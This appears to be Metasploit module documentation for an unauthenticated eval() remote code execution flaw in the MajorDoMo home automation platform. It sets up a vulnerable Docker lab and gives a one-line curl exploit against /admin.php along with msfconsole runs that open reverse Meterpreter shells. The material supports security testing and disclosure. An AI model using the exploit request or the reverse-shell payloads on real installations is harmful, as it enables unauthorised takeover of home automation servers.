## Vulnerable Application

This module exploits an unauthenticated Remote Code Execution vulnerability in MajorDoMo, an open-source home automation
platform. The vulnerability exists in the admin panel's PHP console, which is accessible without authentication due to a
missing `exit` after `redirect("/")` in `modules/panel.class.php`. The ajax panel handler includes `inc_panel_ajax.php`
unconditionally, and the console handler passes user-supplied input directly to `eval()` via the `evalConsole()` function.

The `command`, `ajax_panel`, and `op` parameters are all controllable via GET request through MajorDoMo's
register_globals-style `gr()` function, allowing unauthenticated PHP code evaluation via a single GET request to
`/admin.php`.

All versions of MajorDoMo are affected. The `alpha` branch was patched via
[PR #1177](https://github.com/sergejey/majordomo/pull/1177), but `master` has not been updated.
The checkout hash below (`41086aaa`) pins a known vulnerable commit on `alpha` to ensure a reproducible lab setup.

## Options

No module-specific options beyond the standard exploit options.

## Setup

### Docker Setup

Create a working directory and clone the vulnerable MajorDoMo source:

```bash
mkdir majordomo-lab && cd majordomo-lab
git clone https://github.com/sergejey/majordomo.git src
cd src && git checkout 41086aaa && cd ..
```

Create a `Dockerfile`:

```dockerfile
FROM php:7.4-apache

RUN docker-php-ext-install mysqli pdo pdo_mysql
RUN a2enmod rewrite

RUN apt-get update && apt-get install -y default-mysql-client curl && rm -rf /var/lib/apt/lists/*

COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

WORKDIR /var/www/html

ENTRYPOINT ["/entrypoint.sh"]
CMD ["apache2-foreground"]
```

Create an `entrypoint.sh`:

```bash
#!/bin/bash
set -e

echo "[*] Waiting for MySQL..."
until mysql -h db -u root -pmajordomo -e "SELECT 1" &>/dev/null; do
    sleep 1
done

echo "[*] Setting up database..."
mysql -h db -u root -pmajordomo -e "CREATE DATABASE IF NOT EXISTS db_terminal CHARACTER SET utf8mb4;"
mysql -h db -u root -pmajordomo db_terminal < /var/www/html/db_terminal.sql 2>/dev/null || true

echo "[*] Configuring Majordomo..."
cp /var/www/html/config.php.sample /var/www/html/config.php
sed -i "s/Define('DB_HOST', 'localhost');/Define('DB_HOST', 'db');/" /var/www/html/config.php
sed -i "s/Define('DB_PASSWORD', '');/Define('DB_PASSWORD', 'majordomo');/" /var/www/html/config.php

mkdir -p /var/www/html/cached /var/www/html/cms /var/www/html/saverestore
chown -R www-data:www-data /var/www/html/

echo "[+] Majordomo ready on port 80"
exec "$@"
```

Create a `docker-compose.yml`:

```yaml
services:
  db:
    image: mariadb:10.6
    environment:
      MYSQL_ROOT_PASSWORD: majordomo
      MYSQL_DATABASE: db_terminal
    networks:
      - mdnet
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-pmajordomo"]
      interval: 3s
      timeout: 5s
      retries: 10

  web:
    build: .
    ports:
      - "8899:80"
    volumes:
      - ./src:/var/www/html
    networks:
      - mdnet
    depends_on:
      db:
        condition: service_healthy

networks:
  mdnet:
    driver: bridge
```

Start the lab:

```bash
chmod +x entrypoint.sh
docker compose up -d --build
```

MajorDoMo will be available at `http://127.0.0.1:8899`.

**Important**: The `LHOST` must be set to the Docker network gateway so the container can reach the handler.
Find it with:

```bash
docker network inspect majordomo-lab_mdnet --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}'
```

Verify the console eval is accessible:

```bash
curl "http://127.0.0.1:8899/admin.php?ajax_panel=1&op=console&command=echo+shell_exec('id');"
```

Expected output: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`

## Verification Steps

1. Start the vulnerable MajorDoMo instance (see Docker setup above)
2. Launch msfconsole: `use exploit/multi/http/majordomo_console_eval_rce`
3. Set `RHOSTS` to `127.0.0.1` and `RPORT` to `8899`
4. Run `check` to verify the console eval is accessible
5. Set payload and execute

## Scenarios

### Scenario 1: PHP Meterpreter on Docker Lab

```
msf6 > use exploit/multi/http/majordomo_console_eval_rce
msf6 exploit(multi/http/majordomo_console_eval_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/majordomo_console_eval_rce) > set RPORT 8899
RPORT => 8899
msf6 exploit(multi/http/majordomo_console_eval_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/majordomo_console_eval_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/majordomo_console_eval_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Console eval is accessible without authentication
[*] Sending payload via console eval...
[*] Sending stage (40004 bytes) to 172.18.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:37842) at 2026-02-21 12:00:00 +0100

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : 172.18.0.3
OS          : Linux 172.18.0.3 6.14.0-123037-tuxedo #202502061139 SMP PREEMPT_DYNAMIC x86_64
Meterpreter : php/php
```

### Scenario 2: Command Shell

```
msf6 > use exploit/multi/http/majordomo_console_eval_rce
msf6 exploit(multi/http/majordomo_console_eval_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/majordomo_console_eval_rce) > set RPORT 8899
RPORT => 8899
msf6 exploit(multi/http/majordomo_console_eval_rce) > set TARGET 1
TARGET => 1
msf6 exploit(multi/http/majordomo_console_eval_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/majordomo_console_eval_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/majordomo_console_eval_rce) > set FETCH_SRVHOST 172.17.0.1
FETCH_SRVHOST => 172.17.0.1
msf6 exploit(multi/http/majordomo_console_eval_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Console eval is accessible without authentication
[*] Sending payload via console eval...
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.18.0.3:41200) at 2026-02-21 12:01:00 +0100

meterpreter > getuid
Server username: www-data
```

## References

- CVE-2026-27174
- <https://chocapikk.com/posts/2026/majordomo-revisited/>
- <https://github.com/sergejey/majordomo/pull/1177>
